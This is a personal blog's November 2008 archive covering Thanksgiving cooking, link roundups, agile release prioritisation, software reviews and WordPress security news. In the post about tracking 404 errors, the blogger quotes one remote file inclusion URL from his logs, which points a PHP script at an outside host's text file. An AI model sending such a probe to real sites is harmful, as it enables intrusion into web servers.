-
How to ask for money for your alma mater.
Month: November 2008
Thanksgiving 2008: Big ass turkey
It’s time for the Thanksgiving menu, and not a moment too soon. I managed to get to Wilson Farms today in the nick of time to pick up my turkey, came home early, and boiled my customary Alton Brown brine (1 gallon vegetable broth, a cup of salt, a half-cup mixed brown and white sugar since we were low on brown, and peppercorns) and iced it down and put it on the porch to cool. After cooking a pre-Feast of the Beast (biftek a la Lyonnaise with a quick sauce Robert) and taking care of a few other odds and ends, I wrangled the turkey into the brine.
That’s not a small task. We have five adults and a small child at the dinner table this year, which means a slightly bigger turkey. Like, 19 pounds. This year I remembered to fish the neck and liver out of the cavity AND to get the paper bag with the other organs out of the neck cavity (very good progress!) before the turkey went into the cooler on a bag’s worth of ice, breast down; the brine went over the turkey; and another half bag of ice went on top. The cooler is now on the porch (mercifully, it’ll be between 30° and 34° tonight) and I’m catching my breath while I think about the rest of the menu.
My mother-in-law, mercifully, has already taken care of dessert—a homemade apple pie. That leaves us with:
- Turkey
- Cornbread stuffing AND traditional stuffing
- Roasted Brussels sprouts with garlic and pancetta
- Kale with garlic and anchovy a la Two Fat Ladies
- Mashed potatoes and mashed sweet potatoes
- Gravy du jour (meaning: I’m going to wing it)
Grab bag: Pre-Thanksgiving light blogging
-
Oh, there’s no end to the possible puns. My favorite is at the end: “Storm isn’t such a bad name for this phone. It’s dark, sodden, and unpredictable.”
-
The Criterion Collection folks are now doing online streaming. And their commenting features are letting a lot of spammers through, apparently.
-
The irony, as PC World points out, is that the iPhone DOES NOT translate HTML into an XML format and reformat the page for display on the phone’s browser. In fact, it’s one of the few mobile phones that doesn’t.
-
Doc Searls sums up the role of open source thinking in the Obama campaign.
-
35 killer photos of Barack during the campaign (hat tip to Talking Points Memo).
-
Detailed look at Bernanke’s handling of the meltdown.
Grab bag: Nogging your egg
-
New WordPress version, doesn’t fix the CSRF issue reported earlier but recommended anyway. A quick upgrade if you look at the changeset.
-
OK, now this is starting to get scary.
-
I think the actual word was “nog your egg,” but I’ll never think of nutmeg the same way again.
-
Nonintuitive and hacky way to batch-compile an ASP.NET 1.1 app.
-
How to do a “related posts” sidebar in WordPress.
-
Interesting collection of WP hacks.
-
It would be really nice to see this move forward. Glad to hear that it’s not Apple or the surviving Beatles causing the problem, but EMI and the Beatles’ agents.
Release planning: How you prioritize matters
I hope I have the time to come back to this thought tomorrow (along with some overdue Thanksgiving blogging). But I had the opportunity to meet up with an old colleague for lunch today and to discuss, among other things, two different agile project cycles. One project cycle ships every four to five months, has seven or eight two-week iterations inside the release cycle, and uses MoSCoW-style prioritization (that is, Must, Should, Could, Won’t) for feature stories and for backlog. The other ships every six weeks, has one iteration inside the release cycle, and uses forced stack ranking for feature stories and backlog.
Which of the differences (iterations per release, release length, prioritization) is most important between the two projects? Which has the greatest impact on the release?
I’m going to give away the answer when I say I think there’s a stack rank of impact:
- Prioritization method
- Release length
- Iteration frequency
Why is prioritization so important? And which method is better, forced stack ranking or must, should, could, won’t?
The problem with any bounded priority system, whether it’s MoSCoW, Very High/High/Medium/Low, or simply 1, 2, 3, 4, is that it leads to “priority inflation.” When I was selling ITIL compatible software, we had a feature in our system that used a two factor method and customizable business logic to set priority for customer IT incidents. It was necessary to go to that length because, left to their own devices, customers push everything inexorably to the highest priority. Why? Because they learn, over time, that that’s all that ever gets fixed.
It’s true in software development too. I can’t count the number of features that were ranked as “must haves” on the project that used MoSCoW. It was very difficult to defend phasing the work, because everything was a must.
The project that uses forced stack ranking doesn’t have the problem of too many “must haves” because there can be only one #1 priority, and only one #2, and so on. Developers can work down the list of priorities through a release. If there’s been an error in estimation and the team has overcommitted for the release, it’s the lower priority items that slip.
The forced stack ranking works with stakeholders outside engineering too, because it forces them to evaluate requirements against each other in a systematic way. Rather than saying “everything is a must,” stakeholders can give answers about whether requirement A or B is more important within the scope of the release.
Release length and iteration frequency matter, too, because they provide mechanisms for market-driven and internal-driven course correction. But from my experience, as long as the release length and iteration frequency aren’t too far out of whack, the right prioritization method is a crucial ingredient for successful delivery of software that meets stakeholder expectations and for defining feature lists that have a reasonable shot of getting completed within a single release.
Grab bag: Uncle Joe goes to Washington
-
Great profile of the Bidens as they prepare to move to Washington, for the first time ever.
-
This couldn’t be more absurd if we tried. Time to get Bush’s team out of there and get Obama’s team in, before they give ALL the money away and get nothing in return.
-
Essential reading for fans of sans serif type. Exhaustive and brilliantly illustrated.
-
Holy frickin’ cow. Gotta check out the quad mixes of Johnny Cash and Bob Dylan.
-
At the risk of going all Zippy, “Allan Sherman box set! Allan Sherman Box Set! Allan Sherman BOX SET!!!”
Taglocity 2 – Migration frustration
I installed version 2 of Taglocity on Friday. As I wrote a while ago, the older version of Taglocity has saved my bacon many times, and I was excited about the new features. I still am, but I’m a little more cautious about the new version today.
Why? Migration.
I installed the new version in the morning and was astonished when I went to tag the first message: my tags were gone. More precisely, there were no auto-filling tags happening at all. I went back to the Taglocity welcome screen, and somehow found an option to import existing categories as tags. Which turned all my tags into [tags], because the old version of Taglocity entered the tag values into Outlook categories with brackets around them. Grr.
I checked the website and there was no online migration guidance for users of 1.1 Grr. So I fired off an email to Taglocity support to ask what I was missing. I waited an hour (while I was in a meeting) and didn’t get a response. Grrrrrr.
So I started manually fixing the old tags. What a pain. I got partway through and threw in the towel for the day. When I got in on Monday, there was an email from Taglocity support telling me that there was an option to convert the tags to version 2:
All you have to do is ‘Import V1 tags’ and then convert them into version 2.
You can access these tools by clicking on the ‘Taglocity’ main menu and then clicking on ‘Configuration’ -> ‘Tools& Support’.
Which I’m doing now.
So, Taglocity, here’s what you could have done differently:
- Put the migration option front and center in your welcome screen–or detect that I already had Taglocity installed, and offered to migrate everything for me.
- Failing that, put the migration how-to on your web site. A no-brainer, really.
- Put an auto-responder on your support email to let me know you got my message and set my expectations about wait times. I hate them too, but they’re better than waiting six hours to find out if my email went through.
- Pat Vanessa in support on the back, because her answer was spot on.
Ok. Other than the migration issues, I like a few things about the update. The UI is cleaner, I love that I don’t have to use a tag cloud to filter by tags. I’m not super thrilled about the additional sidebar, mostly because I had Xobni installed, and it doesn’t seem to give me anything Xobni doesn’t. On the other hand, the stuff that Xobni gives me that Taglocity doesn’t is stuff I don’t use very much anyway–except for the phone number. If Taglocity added options to get me to the tags I use most often in conversation with people, that would be great, and I might start hiding Xobni’s sidebar instead of the other way around.
Grab bag: iPhone update, economy reboot
-
The motivation for doing the iPhone 2.2 upgrade.
-
Interesting wishlist for iPhone features.
-
Guess I know what I’m doing tonight.
-
To read– detailed review of the state of the auto industry.
-
The counterpoint to the idea of “a team of rivals” in the cabinet.
-
Check out the video of Sarah Palin pardoning turkeys, then talking to the camera as the turkeys get slaughtered behind her.
-
The 2009 Tanglewood season is out. For the TFC it’s Brahms Requiem, Carmina Burana, Die Meistersinger, B9… and you might hear some more about that James Taylor/John Williams/Pops gig from me too.
-
New working group to write the spec for HTTPOnly cookies. HTTPOnly is an unspecc’d browser flag that would prevent client side scripts from reading or writing cookies.
Grab bag: Communication by any channel necessary
-
Nice roundup of using CSS for charts and graphs for image-free, accessible data.
-
Man, I’ve made this error so many times it’s not even funny.
-
Cool–cutrate tickets. Time to start shopping.
-
Was there a coverup of a friendly fire death in Iraq?
-
Julian Bond steps down from the NAACP. Job well done, Mr. Bond.
-
A sad day for Harvard Square, and for print.
-
Chilling overview of Jonestown, and scary thoughts about how getting politicians indebted to religious leaders can lead to trouble.
Redirecting away from lost comments
I thought I had linked to Urban Giraffe’s great Redirection WordPress plug-in, but there was a glitch between Ubiquity and Delicious and the link didn’t get saved. Ah well. The point is that Redirection makes it dead simple to do two things: track 404s (dead links) that users hit on your site, and create redirects so that people coming to that link get served valid content.
I’ve been going through the process of reviewing the 404s for the first few days, and have found three general types of 404:
- Old Manila stories that were part of my old site structure but didn’t get published in the same way on WordPress. This is easy to fix, because WordPress lets you edit the “pretty URL” for these pages directly.
- Attack URLs. These tend to look like
/inc/cmses/aedatingCMS.php?dir[inc]=http://rfi.at.ua/test.txt??
and represent bots trying to exploit known software vulnerabilities. I generally am ignoring these right now. - Permalinks to comments.
This third one is the sad part. Somewhere along the way, whether when I turned off comments on my Manila site or at some other point, all the old comments on my posts were lost. So there’s nowhere for me to redirect: the content’s gone. Comments ranging from the banal to the friendly, from Dave Sifry of Technorati pre-announcing link voting to the late Anita Rowland reminding me to follow up on a post on universal remotes.
I’m now going through the sad task of removing those links one at a time on this site. I guess entropy is alive and well.
But the point is that Redirection is a great WP plugin.
Grab bag: Parties and Python
-
Sounds like a good party.
-
Just what I needed, another way to waste time on the Internet.
-
Interesting way to get fixed keyboard shortcuts for bookmarklets. Wonder if there’s a Windows equivalent?
-
Oy. Not a good day for Redmond.
-
“In the next installment, our green eyeshade-wearing superhero gets tangled up in his own cape when he is suddenly forced to reverse course and abandon his initial bailout plan. And don’t miss the stunning conclusion! In a gripping cliffhanger, the runaway locomotive of financial crisis hurtles toward certain destruction while our superhero is busy polishing his reputation in interviews with the local press.” Heh.
-
Sobering look at the relative priority of product management on the chopping block come layoff time. I’m not up for a RIF, I just thought it was interesting.
-
Amazing stupid Transact SQL trick.
-
Interesting and complex real-world test of responsible disclosure for security flaws.
Remix culture: NASA’s bootleg Snoopy from 1969
I had read about NASA’s use of Snoopy and the Peanuts characters as unofficial mascots for Apollo 10 (it was well documented in Charlie Brown and Charlie Schulz, which sat on my Pop-Pop’s bookshelf alongside the Peanuts Treasury), but don’t remember seeing this. Courtesy Google Image Search and the LIFE archives:
As good an argument for the Commons as I’ve ever seen. The irony is, of course, that it sits in Google Images with no reasonable licensing in place. Even this bootleg image is claimed as copyright LIFE magazine.
WordPress 2.6.3 CSRF security vulnerability
No link, because I’m posting this from my iPhone. But it looks like WordPress 2.6.3, the latest version, has a cross site request forgery vulnerability. The way CSRF works, if you have your WP site open and are logged in, an attacker can use another web page that’s open at the same time to perform actions on your blog, like deleting users. No word yet that I’ve seen about a fix. I’ll post more about CSRF in a while.
Update: Here’s the official published vulnerability (CVE-2008-5113) from the National Vulnerability Database. And here’s a good description of how CSRF works from OWASP. The scary bit is that if the application isn’t patched, there’s not a lot you can do to mitigate the attack. I haven’t seen anything official from WordPress yet on this vulnerability, but there’s an interesting discussion trail on the bug. Bottom line for app developers: don’t trust user input, and yes the HTTP request needs to be considered user input.
Grab bag: Old friends, WordPress, and more
-
Pretty awesome tool for doing affinity maps. Look forward to trying it out.
-
An inspiring presentation about the state of the music business. No, not for the labels: for the artists and fans.
-
I’ve wondered the same thing about Google’s iPhone search results. They clearly went to a lot of trouble for the optimized look, so why wouldn’t they enable it for the most common search scenario on the iPhone?
-
I’m guilty of 24/7, myself.
-
I missed this announcement about Citigroup ending the CitiAssist loan package at Harvard, Sloan and others. CitiAssist was the best loan package at Sloan, much more responsive to interest rate changes and much more affordable than the MIT Tech Loan, which looked predatory in comparison (7+% interest rate in 2001). Sloan just got a lot more expensive.
-
Killer plugin for WordPress. Considering looking at it, but will wait until I can futz around with some caching plugins–not eager to take a half-second hit for each page just for hyphenation.
-
Very cool WordPress theme that takes off on Die Neue Tyopgraphie, Tschischold’s early sans-serif + grid manifesto.
-
Nasty last minute surprises from the outgoing administration.
-
Oops. Motrin touches the live wire. I’m surprised that no one at the agency had a clue that the baby carriers are much, much better for the back than carrying the child in your arms.
-
Discussion of “Angler” with the author and the book’s critics. Sounds like pretty essential reading for foes of the outgoing administration.
-
Interesting study of the sociology of combat troops in Afghanistan.
-
Delicious review of something that should go on the shelf next to my copy of Mencken’s “The American Language.”
-
This article is why an independent software security testing service, like that provided by Veracode, is so important. We promise not to insert /*Flawfinder: ignore*/ in your source code.
-
That’s my old friend Rob (also Robb) Munro, now a law intern in the North Carolina State Supreme Court and a law student at UNC — and a great photo of him and his service dog Pilaf. Way to go, Rob.
Google LIFE archive: where’s the usage rights?
I’m impressed by the new LIFE photo archive at Google Images–it’s a truly significant work of digital content. But it’s missing one important thing: a usage policy. The images are marked (c) Time Inc., so it’s clear they aren’t public domain. But is there any way to purchase usage rights? The only reuse provision seems to be a framed print purchase.
Compare it to what Flickr does with the images in its commons, or anywhere else for that matter–a clear licensing agreement, selectable by the poster, that explains how images can be used. The LIFE archive may be visually striking, but it would be much more valuable if the images could have a life beyond Google’s servers.